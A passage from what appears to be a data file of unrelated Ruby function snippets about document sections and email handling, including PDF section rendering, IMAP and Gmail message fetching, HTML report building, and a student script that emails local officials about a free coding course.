#{self.business_name}), (start_date, #{self.start_date}), (end_date, #{self.end_date})\"\n \n if self.user.associated_with_ifel\n section_templates = SectionTemplate.ifel.published.sequence_wise\n else\n section_templates = SectionTemplate.wibo.published.sequence_wise \n end\n \n unless section_templates.blank?\n section_templates.each do |st|\n # next if st.item_templates.find_all_by_state_id(State.find_by_name('publish').id).blank?\n next if st.item_templates.published.blank?\n section = Section.new(\n :name => st.name,\n :sequence_number => st.sequence_number,\n :title => st.title,\n :title_comment => st.title_comment,\n :introduction => st.introduction\n )\n section.item_count = st.item_templates.published.count\n section.items_completed_count = 0\n section.do_show_intro = true\n case self.max_days\n when 30\n section.due_date = self.start_date + st.due_days_30.to_i\n when 60\n section.due_date = self.start_date + st.due_days_60.to_i\n when 120\n section.due_date = self.start_date + st.due_days_120.to_i\n else\n section.due_date = nil\n end\n section.section_template = st\n section.project = self\n # self.sections << section\n section.save\n st.item_templates.published.sequence_wise.each do |it|\n item = Item.new(\n :item_number => it.item_number,\n :sequence_number => it.sequence_number,\n :title => it.title,\n :definition => it.definition,\n :percent => it.percent,\n :has_textbox => it.has_textbox,\n :has_upload => it.has_upload\n )\n item.is_complete = false\n item.is_applicable = true\n item.item_template = it\n item.section = section\n # sect.items << item\n # item.section.project = self\n item.save\n end\n end\n self.open_section = self.sections.first.id\n tp_templates = YAML::load_file(Rails.root.join(\"config\", \"touchpoint_templates.yml\"))\n tp_templates.each_key { |key| self.touchpoints << Touchpoint.create(:condition => key, :is_active => false, :is_complete => false) }\n self.save\n RAILS_DEFAULT_LOGGER.info \"Project (id, #{self.id}), (section_count, #{self.sections.count}), (item_count, #{self.items.count}), (touchpoint_count, #{self.touchpoints.count})\"\n RAILS_DEFAULT_LOGGER.info \"_E__Project________populate_items_and_sections________________#{Time.now}____\"\n end\n end", "def section_contents\n used_sections = {}\n\n each_method do |method|\n next unless method.display?\n\n used_sections[method.section] = true\n end\n\n # order found sections\n sections = sort_sections.select do |section|\n used_sections[section]\n end\n\n # only the default section is used\n return [] if\n sections.length == 1 and not sections.first.title\n\n sections\n end", "def section_to_pdf language, section, user, fields, answers, url_prefix, short_version, loop_sources_items, loop_item=nil, looping_identifier=nil\n #don't print anything for this section if it's a short version and there are no answers for this particular section\n return if short_version && (answers.empty? || !section.any_answers_from?(user, loop_sources_items, loop_item, looping_identifier))\n conditions_met_or_inexistent = section.depends_on_option.present? ? section.dependency_condition_met?(user, looping_identifier) : true\n #If section is hidden and is a looping section and the loop_item is present, print the loop_item name since there is no drop down list like in the Web Sumbission page\n if section.is_hidden? && section.looping? && loop_item.present?\n text \"#{loop_item.item_name(language)}\", :size => 11, :style => :bold, :inline_format => true\n end\n if !section.is_hidden?\n field_to_use = fields[:sections_field][section.id.to_s] && fields[:sections_field][section.id.to_s].title.present? ? fields[:sections_field][section.id.to_s] : fields[:sections_field_default][section.id.to_s]\n size_to_print = section.root? ? 14 : 11\n if section.looping? && loop_item.present?\n text \"#{OrtSanitize.white_space_cleanse(field_to_use.loop_title(nil, loop_item))}\", :size => size_to_print, :style => :bold, :inline_format => true\n else\n text \"#{OrtSanitize.white_space_cleanse(field_to_use.title)}\", :size => size_to_print, :style => :bold, :inline_format => true\n end\n field_to_use = fields[:sections_field][section.id.to_s] && fields[:sections_field][section.id.to_s].description.present? ? fields[:sections_field][section.id.to_s] : fields[:sections_field_default][section.id.to_s]\n images_urls = []\n if field_to_use && field_to_use.description.present?\n #text \"#{Sanitize.clean(field_to_use.description)}\"\n text \"#{OrtSanitize.white_space_cleanse((section.section_extras.present? && loop_item.present?) ? field_to_use.replace_variables(:description, language, loop_sources_items, loop_item, images_urls) : field_to_use.description)}\", :size => 10, :inline_format => true\n end\n display_images images_urls unless images_urls.empty?\n move_down 7\n end\n section.questionnaire_part.children_parts_sorted.each do |child|\n if child.is_a?(Question)\n answer = conditions_met_or_inexistent ? Question.get_answer(answers, child.id, looping_identifier) : nil\n unless short_version && answer.nil?\n question_to_pdf language, child, answer, loop_item, fields, loop_sources_items, url_prefix, short_version\n end\n else\n #if children is of looping type\n if child.looping?\n #get the items through which it is going to loop on\n items = child.next_loop_items loop_item, loop_sources_items\n #for each of the items\"\n items.each do |item|\n #check if the section is available for the user\n if child.available_for? user, item\n #update the loop_sources history.\n loop_sources_items[child.loop_source.id.to_s] = item\n new_looping_identifier = looping_identifier ? \"#{looping_identifier}#{LoopItem::LOOPING_ID_SEPARATOR}#{item.id}\" : item.id.to_s\n #call the function for the children, sending the necessary items.\n section_to_pdf language, child, user, fields, answers, url_prefix, short_version, loop_sources_items, item, new_looping_identifier\n end\n end\n else\n #if it is not a looping item just call the function and send the same items...\n section_to_pdf language, child, user, fields, answers, url_prefix, short_version, loop_sources_items, loop_item, looping_identifier\n end\n end\n end\n if section.looping? && section.section_extras.present? && cursor != 720.0\n start_new_page# if section.looping? && section.section_extras.present?\n #puts \"the cursor is here #{cursor}\"\n end\n end", "def sections\n temp_sections = []\n if @section_ids.count > 0\n @section_ids.each do |section_id|\n temp_sections.push @client.section(@org_id, section_id)\n end\n end\n return temp_sections\n end", "def processSection2(section)\n string = '';\n text = section.inner_html\n text = text.delete('<p>').strip().delete('\\/').delete(','); #clean up string\n string += ',';\n string += text;\n return string;\nend", "def preprocess_section (cfg, image_hash, header_hash, link_hash, menu_list) \n Dir.chdir(cfg[\"doc_home\"]) {\n cfg['sections'].keys.each { |section|\n #puts \"using #{section}\"\n #puts \" #{cfg['sections'][section]}\"\n #puts \" #{cfg['sections'][section][:files]}\"\n @image_hash = {}\n @header_hash = {}\n cfg['sections'][section][:files].each { |fname|\n relpath = \"#{cfg['sections'][section][:dir]}/#{fname}\"\n #puts \"In dir #{relpath}\"\n d = File.dirname(relpath)\n f = File.basename(relpath)\n if cfg['nested'] \n Dir.chdir(d) {\n # pre_doc is an array \n pre_doc = Kramdown::Document.new(File.read(f, encoding: \"UTF-8\"),\n {img_hash: @image_hash, hdr_hash: @header_hash, lnk_hash: @link_hash,\n menu_list: @menu_list, input: cfg['input_format']\n }).to_preprocess\n }\n else \n pre_doc = Kramdown::Document.new(File.read(f, encoding: \"UTF-8\"),\n {img_hash: @image_hash, hdr_hash: @header_hash, lnk_hash: @link_hash,\n menu_list: @menu_list, input: cfg['input_format']\n }).to_preprocess\n end\n download_images(cfg, @image_hash)\n }\n #cfg['sections'][section]['images'] = @image_hash\n foo = cfg['sections'][section]['headers'] = @header_hash\n }\n }\n end", "def each_message(uids, type) # :yields: TMail::Mail\n parts = mime_parts uids, type\n\n uids = []\n\n each_part parts, true do |uid, message|\n mail = TMail::Mail.parse message\n\n begin\n success = yield uid, mail\n\n uids << uid if success\n rescue => e\n log e.message\n puts \"\\t#{e.backtrace.join \"\\n\\t\"}\" unless $DEBUG # backtrace at bottom\n log \"Subject: #{mail.subject}\"\n log \"Message-Id: #{mail.message_id}\"\n p mail.body if verbose?\n\n raise if $DEBUG\n end\n end\n\n uids\n end", "def parsed_body(opts)\n file = File.open(File.dirname(__FILE__) + \"/email.html\", \"r\")\n content = file.read\n markdown = Yolo::Tools::Ios::ReleaseNotes.html\n\n content = content.gsub(\"YOLO.TITLE\",opts[:title])\n content = content.gsub(\"YOLO.CONTENT\",markdown)\n if opts[:ota_password] and opts[:ota_password].length > 0\n content = content.gsub(\"YOLO.PASSWORD\",\"<h3>Password</h3><hr><p>#{opts[:ota_password]}</p>\")\n else\n content = content.gsub(\"YOLO.PASSWORD\",\"\")\n end\n content = content.gsub(\"YOLO.LINK\",opts[:ota_url])\n content\n end", "def email_message_sections\n if email_message\n errors.add(:value, 'email_message missing sections') if JSON.parse(@email_message.to_json).keys.size.eql?(0)\n end\n end", "def each\n\t parts = body_parts.map { |p| \n\t\tp.multipart? ? p.body_parts : p }\n\t parts.flatten.compact.each { |p| yield(p) }\n\tend", "def parse_yields(section)\n @yields = section.strip\n end", "def process_section(n, level, out) \n n.children.each do |c| \n case c.name\n when \"section\", \"span\", \"div\"\n process_section(c, level+1, out) # since ipynb is flat, we need to recurse on sections \n when \"h1\", \"h2\", \"h3\", \"h4\", \"h4\", \"h5\", \"h6\"\n out << {\n \"cell_type\" => \"heading\",\n \"level\" => level,\n \"metadata\" => {}, \n \"source\" => c.text\n }\n when \"pre\", \"code\"\n # test for the code type. If it's not python, then insert the \n # appropriate cell magics\n listing = c.text\n code_type = c.attributes[\"data-code-language\"] || \"python\"\n if code_type != \"python\"\n listing = \"%%#{code_type}\\n#{listing}\"\n end\n out << { \n \"cell_type\" => \"code\",\n \"collapsed\" => false,\n \"input\" => listing, \n \"language\" => code_type,\n \"metadata\" => {}, \n \"outputs\" => []\n }\n else\n out << { \n \"cell_type\" => \"markdown\",\n \"metadata\" => {}, \n \"source\" => c.to_s\n }\n end\n end \n return out\n end", "def processSection0(section)\n string = '';\n buffer_array = [];\n text = section.inner_html;\n text.split('<br>').each do |info|\n buffer_array << info.strip().delete(',');\n end\n string += buffer_array.join(\",\");\n return string;\nend", "def section(title)\n puts \"===== #{title} =====\" if @display_headers\n yield\n puts if @display_headers\nend", "def email_update_header\n col = 18\n hdr = \"------------------------------------------------------------------------\\n\" +\n 'Design : '.rjust(col) + self.oi_instruction.design.directory_name + \"\\n\" +\n 'Category : '.rjust(col) + self.oi_instruction.oi_category_section.oi_category.name + \"\\n\" +\n 'Step : '.rjust(col) + self.oi_instruction.oi_category_section.name + \"\\n\" +\n 'Team Lead : '.rjust(col) + self.oi_instruction.user.name + \"\\n\" +\n 'Designer : '.rjust(col) + self.user.name + \"\\n\" +\n 'Date Assigned : '.rjust(col) + self.created_on.format_dd_mon_yy('timestamp') + \"\\n\" +\n 'Complete : '.rjust(col)\n if self.complete?\n hdr += \"Yes\\n\" +\n 'Completed On : '.rjust(col) + self.completed_on.format_dd_mon_yy('timestamp') + \"\\n\"\n else\n hdr += \"No\\n\"\n end\n\n if self.oi_instruction.oi_category_section.urls.size > 0\n label = true\n self.oi_instruction.oi_category_section.urls.each do |url|\n \n if label\n hdr += 'References : '.rjust(col)\n label = false\n else\n hdr += ' : '.rjust(col)\n end\n \n if url[:text] != ''\n hdr += url[:text] + \"\\n\" + ' : '.rjust(col) + url[:url] + \"\\n\"\n else\n hdr += url[:url] + \"\\n\"\n end\n \n end\n end\n\n hdr += \"------------------------------------------------------------------------\\n\"\n\n \n hdr\n \n end", "def section(name)\n out \"===== #{name} ==== Begin...\"\n @out_sections = [] unless defined?(@out_sections)\n @out_sections << name\n begin\n yield\n ensure\n @out_sections.pop\n out \"===== #{name} ==== ...End\"\n out\n end\n end", "def committee(email, recipients)\n @body = email.body\n mail to: recipients, subject: email.subject\n end", "def email_creation(hash_to_manipulate,msg)\n retirement_site=[]\n others_site=[]\n sorted_hash = hash_to_manipulate.sort_by{ |instance, details| details[:not_before] }\n sorted_hash.each do |instance, details|\n if details[:code] == \"instance-retirement\"\n retirement_site << \"<tr><td>#{details[:name]}</td><td>#{instance}</td><td>#{details[:code]}</td><td>#{details[:not_before]}</td><td>#{details[:region]}</td><td>#{details[:site]}</td></tr>\"\n else\n unless details[:description] =~ /\\[Completed\\]|\\[Canceled\\]/\n others_site << \"<tr><td>#{details[:name]}</td><td>#{instance}</td><td>#{details[:code]}</td><td>#{details[:not_before]}</td><td>#{details[:region]}</td><td>#{details[:site]}</td></tr>\"\n end\n end\n end\n # This is so people know the system is working, but that nothing happened today\n if retirement_site.empty? and others_site.empty?\n msg << \"<html>\"\n msg << \"<body>\"\n msg << \"<h3>No events today! Have a nice day! :)</h3>\"\n msg << \"</body>\"\n msg << \"</html>\"\n end\n unless retirement_site.empty? and others_site.empty? \n msg << \"<html>\"\n msg << \"<body>\"\n unless retirement_site.empty?\n msg << \"<h3>Instances that are being terminated!</h3>\"\n msg << \"<table border=\\\"1\\\" cellpadding=\\\"5\\\">\"\n msg << \"<tr><th>Instance Name</th><th>Instance ID</th><th>Event</th><th>Earliest Date of Event</th><th>Region</th><th>Site</th></tr>\"\n msg << \"#{retirement_site.join(\"\\n\")}\"\n msg << \"</table>\"\n msg << \"<p><p>\"\n end\n unless others_site.empty?\n msg << \"<h3>Instances with non-terminal events.</h3>\"\n msg << \"<table border=\\\"1\\\" cellpadding=\\\"5\\\">\"\n msg << \"<tr><th>Instance Name</th><th>Instance ID</th><th>Event</th><th>Earliest Date of Event</th><th>Region</th><th>Site</th></tr>\"\n msg << \"#{others_site.join(\"\\n\")}\"\n msg << \"</table>\"\n end\n msg << \"</body>\"\n msg << \"</html>\"\n end\nend", "def scrape_email_texts\n switch_to_chronological_view\n expand_all_emails\n all('div#tm-tl div.GJHURADDJB').map(&:text)\n end", "def section\n @section.call\n end", "def fetch_messages(opts = {}, &block)\n check_client_config\n\n opts[:after] = opts.delete(:since) if opts.include?(:since)\n\n mailbox = @client.label(\"INBOX\")\n mailbox.emails(:all, opts).map do |email|\n from = email.from[0]\n\n message_data = {\n :id => email.message_id,\n :source => 'email',\n :thread => email.thread_id,\n :title => email.subject,\n :body => extract_body(email),\n :sender_name => \"#{from.name || from.mailbox}\",\n :sender => \"#{from.mailbox}@#{from.host}\"\n }\n\n block.call Message.build(message_data)\n end\n end", "def main \n skip_first = true\n headers = []\n CSV.foreach('to_email.csv', :encoding => \"UTF-8\") do |row|\n if skip_first\n headers = row\n skip_first = false\n next\n else\n cur = File.open(\"#{row[5].to_s}.txt\", 'a')\n cur << \"Hi,\n\nBelow is the feedback you received from your customer:\" << \"\\n\\n\"\n headers.zip(row).each do |header, val|\n if header == \"emails\"\n tmp = val.split\n val = tmp.join(\",\")\n cur << \"Customer Feedback, Iteration 2\\n\"\n cur << val << \"\\n\\n\"\n next\n end\n if header == \"Which project is this feedback for?\"\n next\n end\n cur << header << \"\\n\"\n cur << val << \"\\n\\n\"\n end\n cur.close\n end\n end\n\nend", "def process_html(html)\r\n html = email_process(html)\r\n process_menu(html)\r\n end", "def each_section(&block)\n @files.each do |file, list|\n list.each do |entry|\n yield(entry) if entry.is_a?(Section)\n end\n end\n end", "def send_email_line()\n #define a variable gmail.\n gmail = Gmail.connect(\"email\",\"password\")\n #define a variable email with a loop.\n email = gmail.deliver do\n to ws\n subject \"Présentation The hacking poject\"\n html_part do\n content_type'text/html; charset=UTF8'\n body send_email_text\n end\n end\n #show email acount loggin.\n puts gmail.logged_in?\n #desconnecte after work.\n gmail.logout\nend", "def sections\n @blocks.inject([]) {|collector, block|\n collector << block if block.is_a?(Section)\n collector\n }\n end", "def section(group, new_page)\n if new_page\n start_new_page\n header('')\n font('Roboto', style: :bold, size: 16) do\n text(\n \"#{assessment_report.user.name.possessive} Performance<i><b>GPA</b></i>\\u2122 Assessment Individual Report (cont.)\", {\n inline_format: true, color: CAPACITY_COLOR\n }\n )\n end\n end\n\n stroke_color ORANGE\n fill_color 'FFFFFF'\n move_down RHYTHM * 2\n\n font 'Roboto', size: 13\n table(\n [\n [\n { image: icon_for(group), scale: 0.55 },\n \"#{group.name.capitalize} Capacity - #{assessment_report.group_capacity(group)}\",\n assessment_report.gross_score_for(group)\n ]\n ],\n width: bounds.right + INNER_MARGIN,\n row_colors: [color_for(group)], cell_style: { borders: [] }\n ) do\n column(0).style width: 35\n column(2).style align: :right\n column(2).style padding_right: 10\n column(2).style padding_top: 8\n column(1).style padding_top: 8\n end\n\n font 'Roboto', size: 10\n move_down RHYTHM * 2\n fill_color BLACK\n capacity = assessment_report.group_capacity(group)\n if capacity == 'Organizational Stakeholder'\n group_header_text = \"#{assessment_report.user.name.possessive} scope of #{group.name} is an Organizational Stakeholder\".upcase\n else\n group_header_text = \"#{assessment_report.user.name.possessive} scope of #{group.name} is limited to their #{capacity} area/department\".upcase\n end\n\n font('Roboto', style: :bold, size: 11) do\n text group_header_text\n end\n\n move_down RHYTHM * 1\n text assessment_report.blurb_about_group(group.name)\n move_down RHYTHM * 2\n\n font('Roboto', style: :bold, size: 12) do\n text 'competencies suggested'.upcase\n end\n\n move_down RHYTHM * 1\n\n font('Roboto', size: 10)\n assessment_report.competencies_needed_for(group).each do |comp|\n text comp.name\n text(comp.description.present? ? comp.description : '')\n text ' '\n end\n end", "def section_doc(src, i)\n name = get_section_heading(src, i)\n comment = \"<span id=\\\"#{section_name_to_id(name)}\\\"></span>\\n\\n\"\n while true\n # append line, except if it's a horizontal divider\n comment = comment + src[i] if src[i] !~ /^[\\/ ]?\\*{1,2} ?-{50,}/\n break if src[i] =~ /\\*\\//\n i = i+1\n end\n comment = markdown(comment)\n puts comment+\"\\n\\n\"\nend", "def each_section(&block)\n each do |entry|\n if entry.is_a?(List)\n # Iterate the list's sections\n entry.each_section(&block)\n elsif entry.is_a?(ListSection)\n # Pass the list section to the block\n yield(entry) if block_given?\n end\n end\n nil\n end", "def search(from,after)\n emails = @yahoo_api.find_emails from,after\n\n emails.in_groups_of(10,false).each do |group| \n mids = group.map{|email| email[:mid]}\n email_contents = @yahoo_api.fetch_email_contents mids\n \n mails = email_contents.map do |email_content| \n text = CGI.unescapeHTML(CGI.unescapeHTML(\n email_content[:text]))\n mail = Mail.new(\n :message_id => email_content[:mid],\n :date => email_content[:date],\n :subject => email_content[:subject],\n :body => text)\n mail.html_part = Mail::Part.new do\n content_type 'text/html; charset=UTF-8'\n body text\n end\n mail\n end \n\n yield mails if block_given?\n end\n end", "def all_sections\n [ header_section ] + sections\n end", "def search(from,after)\n @mailboxes.each do |mailbox|\n begin\n emails = mailbox.find :from => from,:after => after\n\n emails.reverse.in_groups_of(10,false).each do |group| \n uids = group.map(&:uid)\n fetch_data = @gmail.conn.uid_fetch uids,@imap_key_body\n \n mails = fetch_data.map do |fetch_datum| \n Mail.new CGI.unescapeHTML(fetch_datum.attr[@imap_key_body])\n end \n\n yield mails.reverse if block_given?\n end\n rescue Net::IMAP::NoResponseError \n end\n end #mailboxes\n end", "def parse_sections(url, semester)\n # Parse with Nokogiri\n page = Nokogiri::HTML(open(url))\n course_divs = page.search(\"div.course-sections\")\n section_array = []\n\n # for each of the courses on the page\n course_divs.each do |course_div|\n course_id = course_div.attr('id')\n # for each section of the course\n course_div.search(\"div.section\").each do |section|\n # add section to array to add\n instructors = section.search('span.section-instructors').text.gsub(/\\t|\\r\\n/,'').encode('UTF-8', :invalid => :replace).split(',').map(&:strip)\n dept = course_id.match(/^([A-Z]{4})\\d{3}[A-Z]?$/)[1]\n\n # add course and department to professor object for each instructor\n profs = []\n instructors.each do |x|\n if x != 'Instructor: TBA'\n professor_name = x.squeeze(' ')\n profs << professor_name\n end\n end\n\n meetings = []\n section.search('div.class-days-container div.row').each do |meeting|\n start_time = meeting.search('span.class-start-time').text\n end_time = meeting.search('span.class-end-time').text\n\n meetings << {\n days: meeting.search('span.section-days').text,\n start_time: start_time,\n end_time: end_time,\n start_seconds: time_to_int(start_time),\n end_seconds: time_to_int(end_time),\n building: meeting.search('span.building-code').text,\n room: meeting.search('span.class-room').text,\n classtype: meeting.search('span.class-type').text || \"Lecture\"\n }\n end\n number = section.search('span.section-id').text.gsub(/\\s/, '')\n open_seats = section.search('span.open-seats-count').text\n waitlist = section.search('span.waitlist-count').text\n section_array << {\n section_id: \"#{course_id}-#{number}\",\n course_id: course_id,\n number: number,\n instructors: profs,\n seats: section.search('span.total-seats-count').text,\n semester: semester,\n meetings: meetings,\n open_seats: open_seats,\n waitlist: waitlist\n }\n end\n end\n\n return section_array\nend", "def sections\n @sections ||= context\n .public_methods\n .grep(/\\A(?!wait_)\\w+_section$\\z/)\n .map { |el| Meta::Section.new(el.to_s.gsub('_section', ''), context) }\n end", "def list_email()\nsession = GoogleDrive::Session.from_config(\"config.json\")\nws = session.spreadsheet_by_key(\"1v7XEnpGDtgjgRom3bp7OwzaK99zlUQIfKuW3QdawXBc\").worksheets[0]\n#define a lopp with each for the spreadsheet.\n(1..w_sheet.num_rows).each do |list|\n\t\tmail = ws[list, 2]\n\t\tcity = ws[list, 1]\n list_email(\"email\",\"password\",mail, city)\n end\nend", "def process_section(section, content)\n bindings = {\n :section => section,\n :name => @definition.get_name,\n :version => @definition.get_version,\n :description => content,\n }\n page = Calamum::DocGenerator.new(:section)\n page.save_template(\"#{section}.html\", bindings)\n end", "def read_hash(gmail, my_hash)\n\n @my_hash = my_hash\n @gmail = gmail\n\n @my_hash.each do |key, value|\n unless value == \"\" && EmailAddress.valid?(value)\n content = body_content(key)\n send_email(@gmail, content, value)\n end\n end\nend", "def send_email_text(cities)\n#text a return\n return\"<h2>Bonjour</h2>\n <p>Je m'appelle Charles Dacquay, je suis co-fondateur de lorganisme The Hacking Project qui propose une formation de dévelopeur web gratuite, ouverte à tous, sans restriction géographique, ni restriction de niveau.<br> Voici le lien de la formation s'appelle The Hacking Project (http://thehackingproject.org/).<br> la foramtion des baser sur la méthode du peer-learning : les étudiants sont répartie en petit groupes ou nous leur proposons la réaliation de projets concrets qui leur sont assignés chaque jours, sur lesquel ils travaillent et cherches des solution . Le projet du jour est d'envoyer des emails à nos élus locaux pour qu'ils nous aident à faire de The Hacking Project un nouveau format d'éducation gratuite.</p>\n <p>Nous vous contactons pour vous parler du projet, et vous dire que vous pouvez ouvrir une cellule à #{cities}, où vous pouvez former gratuitement 6 personnes (ou plus), qu'elles soient débutantes, ou confirmées.<br> Le modèle d'éducation de The Hacking Project n'a pas de limite en terme de nombre de moussaillons (c'est comme cela que l'on appelle les élèves), donc nous serions ravis de travailler avec #{cities} !</p>\n <p>Charles, co-fondateur de The Hacking Project pourra répondre à toutes vos questions : 06.95.46.60.80</p>\"\nend", "def general_email(addresses, subject_line, body_content, article_content=nil)\n \n if article_content != nil\n attachments.inline['attachment.txt'] = article_content\n end \n \n @content = body_content\n \n #TODO check that email is creatible, ie has valid addresses\n mail(:to => addresses, :subject => subject_line)\n \n end", "def mail_text(&block)\n block.call\n end", "def body_content\n call_block\n end", "def get_sections\n symbolize! @rules\n raise \"[body] section on YAML file is needed to generate the report.\" if @rules[:body].nil?\n @sections = {:page => @rules[:page], :body => @rules[:body], :defaults => @rules[:defaults], :groups => {}}\n @sections[:body][:settings][:groups].each { |group| @sections[:groups][group.to_sym] = @rules[group.to_sym] } if has_groups?\n end", "def read_sections(base, layout, language, sections)\n self.content = \"---\\nlayout: #{layout}\\n---\\n\"\n sections.each do |section|\n self.content += File.read(File.join(base, language, section))\n end\n\n begin\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = $POSTMATCH\n self.data = YAML.load($1)\n end\n rescue => e\n end\n\n self.data ||= {}\n end", "def getEmails\n begin\n puts 'attempting to connect to ' + @username + '@gmail.com'\n Gmail.new(@username, @password) do |gmail|\n puts 'connection established'\n #use peek to make emails not be automatically marked as read\n gmail.peek = (@peek === 'true' ? true : false)\n\n if @label == \"none\"\n inbox = gmail.inbox\n boxname = 'inbox'\n else\n inbox = gmail.mailbox(@label)\n boxname = @label + ' box'\n end\n number_unread = inbox.count(:unread)\n if number_unread < 1\n abort(\"There are no new messages in the \" + boxname)\n end\n p \"there are \" + number_unread.to_s + \" unread emails in the \" + boxname\n inbox.emails(:unread).each do |email|\n puts parser(email)\n end\n end\n\n rescue Net::IMAP::NoResponseError\n puts 'connection failed, check your config file for incorrect credentials'\n puts 'perhaps you opted to use a label that doesn\\'t exist, try \"none\" instead'\n end\nend", "def all_email(email)\n content = \"\"\n address = email\n Membership.where(email: email).each do |membership|\n Task.where(group_id: membership.group_id).each do |task|\n content << \"#{task.title}\\n\"\n end\n Subtask.where(group_id: membership.group_id).each do |subtask|\n content << \"#{subtask.task.title}: #{subtask.title}\\n\"\n end\n end\n unless content.empty?\n mail(to: address, subject: \"Your Tasks\", body: content)\n end\n end", "def process\n section = ARGV[0]\n\n if section.nil?\n log \"You must supply a section to process (users, clients, etc..)\"\n graceful_death\n else\n case section\n when \"users\"\n process_user\n when \"clients\"\n infrastructure do\n require 'client_loader'\n end\n process_client\n end\n end\n end", "def send_email(gmail, body, mail_address)\n\n body_content = body\n mail_address = mail_address\n gmail = gmail\n\n gmail.deliver do\n to mail_address\n\n subject \"[Presentation] - The Hacking Project - Formation d'informatique gratuite\"\n html_part do\n content_type 'text/html; charset=UTF-8'\n body body_content\n end\n puts \"mail sent to #{mail_address}\"\n #in order to stay below the 10 mail / sec limit\n sleep(1)\n\n end\nend", "def section; end", "def index\n setup_recipients\n @footer = \"\"\n end", "def check_subject_and_body(email)\n winning_category = nil\n temp_points = 0 #The score for the current category\n points = 0 # The highest score achived\n\n subject_words = SeperateWords.new.seperate(email.subject)\n body_words = SeperateWords.new.seperate(email.body)\n\n @all_categories.each do |cat|\n #Checks each word in subject and body against keywords in categories\n temp_points += check_words(cat.key_words, subject_words, true)\n\n #BODY\n temp_points += check_words(cat.key_words, body_words)\n\n if temp_points > points\n\n points = temp_points\n winning_category = cat\n end\n\n temp_points = 0\n end\n #This way removes unesseccary transactions\n unless winning_category.blank?\n attach_category_to_email(email,winning_category)\n else\n #This asumes there's a category called \"Uncategorized\"\n #uncategorized = Category.find_by_name(\"Uncategorized\")\n #using scopes: not working for some reason\n #uncategorized = Category.uncategorized\n\n #attach_category_to_email(email,uncategorized)\n end\n\n end", "def go\nputs \" Scrapping en cours, veuillez patienter...\"\n url_array = get_urls\n url_array.each do |get_url| #link chaque ville à son url\nget_email(get_url) #recherche l'adresse mail par rapport à l'adresse de la ville\nend\nend", "def paragraph(&block)\n section(:top => 1, :bottom => 1, &block)\n end", "def section_preparation_finished\n end", "def start(password)\n\n # This checks to make sure a user has uploaded data to be sent\n if data.blank?\n return { success: false, message: \"Please upload data to send emails!\" } \n end\n \n # This is an initalization of the lists of items that will be sent to the mailer\n emails = []\n subjects = []\n templates = []\n files = campaign.file_paths\n\n # Parse the CSV and aquire the headers\n rows = CSV.parse(data, headers: true)\n headers = rows.headers\n\n # Iterate through the rows in the CSV\n rows.each_with_index do |row, index|\n # Seed the subjects and templates with the default data\n subjects[index] = subject\n templates[index] = template.gsub(\"<p><br></p>\", \"\")\n\n # Iterate through each of the columsn in the row\n headers.each do |header|\n # Clean the header by parametrizing it and changing dashes to underscores\n cleanHeader = header.parameterize.underscore\n\n # Check if you are in the email column\n if cleanHeader == \"email\"\n # If you are in the email column, and the email is not a valid email, stop the sending process\n if !valid_email?(row[header])\n return { success: false, message: \"You seem to have invalid emails in your CSV. Please reupload and try again!\" } \n end\n\n # Add the current email to email list\n emails << row[header]\n end \n\n # Update the template at the proper index with the variables filled in\n subjects[index] = subjects[index].gsub(\"{{#{cleanHeader}}}\", row[header]) \n templates[index] = templates[index].gsub(\"{{#{cleanHeader}}}\", row[header]) \n end\n end\n\n # Calls email service to mass send the emails (or at least start the process)\n send_email = EmailService.bulk_email(credential, emails, subjects, templates, files, password)\n\n # If email sending process was started, return true, otherwise return false and message\n if send_email[:success]\n return { success: true }\n else\n return { success: false, message: send_email[:message] }\n end\n end", "def sell_shop_sections (params={})\r\n url = api_url \"/sell/shop/sections\"\r\n req = request_params(params)\r\n\r\n feed_or_retry do\r\n RestClient.get url, req\r\n end \r\n end", "def process\n parsed = {}\n parsed[:contents] = \"#{@email.subject} ::: #{@email.body}\"\n parsed[:from] = \"#{@email.from[:email]}\"\n #[:to] is an array of hashes, since possible multiple to's\n parsed[:to] = \"#{@email.to[0][:email]}\"\n\n email_of_interest = parsed[:to]\n if !(/@/.match(parsed[:to]))\n Rails.logger.warn \"Poorly formatted email! parsed: #{parsed}\"\n end\n\n object = Person.react_to_email(email_of_interest)\n if object.class.to_s == \"Person\"\n Communication.create(person_id: object.id,\n contents: parsed[:contents],\n medium: \"email\",\n when: Date.today)\n end\n end", "def print_section(section_name, values = nil, group = false)\n section = !group ? @sections[section_name] : @sections[:groups][section_name]\n set_pos_y(section[:settings][:posY] || 0) unless section_name.eql?(:body) || section[:settings].nil?\n new_page if @posY < 30\n\n if section_name.eql? :body and @count % 2 != 0\n @pdf.fill_color \"F7F7F7\"\n width = @options[:page_layout] == :portrait ? 530 : 770\n @pdf.fill_rectangle [0, @posY+(section[:settings][:height]/2)], width, section[:settings][:height]\n end\n\n section[:fields].each do |field, settings|\n symbolize! settings[1] unless settings[1].nil?\n set_pos_y settings[1][:posY] unless settings[1].nil? || settings[1][:posY].nil?\n settings = [settings[0], @posY, (@defaults.merge (settings[1] || { }))]\n settings[2][:style] = settings[2][:style].to_sym\n set_options settings[2]\n\n value = set_value values, settings, section_name, field, group \n draw_text value, settings\n end\n set_pos_y (section[:settings][:height]) unless section[:settings].nil? || section[:settings][:height].nil?\n end", "def body\n render text: fetch_email(params[:id]).body, content_type: 'text/html'\n end", "def each_paragraph(contents)\n contents.split(\"\\n\\n\").each_with_index do |paragraph, id|\n yield id, paragraph\n end\nend", "def show\n if params[:email_thread]\n @email_thread = EmailThread.find(params[:email_thread])\n elsif session[:id]\n @summary = Summary.find(session[:id])\n @email_thread = @summary.email_thread\n else\n flash[:notice] = \"You are logged out.\"\n redirect_to(:controller => '/account', :action => 'login')\n return\n end\n @emails = []\n email_count = 0\n for email in @email_thread.myemails\n email_count+=1\n s = email.Body\n #Keep track of tag beginning and ending\n open = false\n count = 1\n while s.include? \"^\"\n if !open\n case params[:control]\n when 'read' , 'sum' , 'show'\n s[s.index(\"^\"),1] = sent(email_count, count)\n when 'label'\n s[s.index(\"^\"),1] = label(email_count, count)\n end\n open = true\n count += 1\n else\n s[s.index(\"^\"),1] = '</div></div>'\n open = false\n end\n end\n s.gsub! \"/-\\\\\", \"^\"\n @emails << email\n end\n #Render correct action\n case params[:control]\n when 'read'\n render :action => 'read'\n when 'sum'\n render :action => 'sum'\n when 'label'\n render :action => 'label'\n when 'show'\n render :action => 'show'\n end\n end", "def section_by_name(section_name); end", "def printer(attendees)\nbatch_badge_creator(attendees).each_with_index do |badges|\n puts badges\nend\nassign_rooms(attendees).each_with_index do 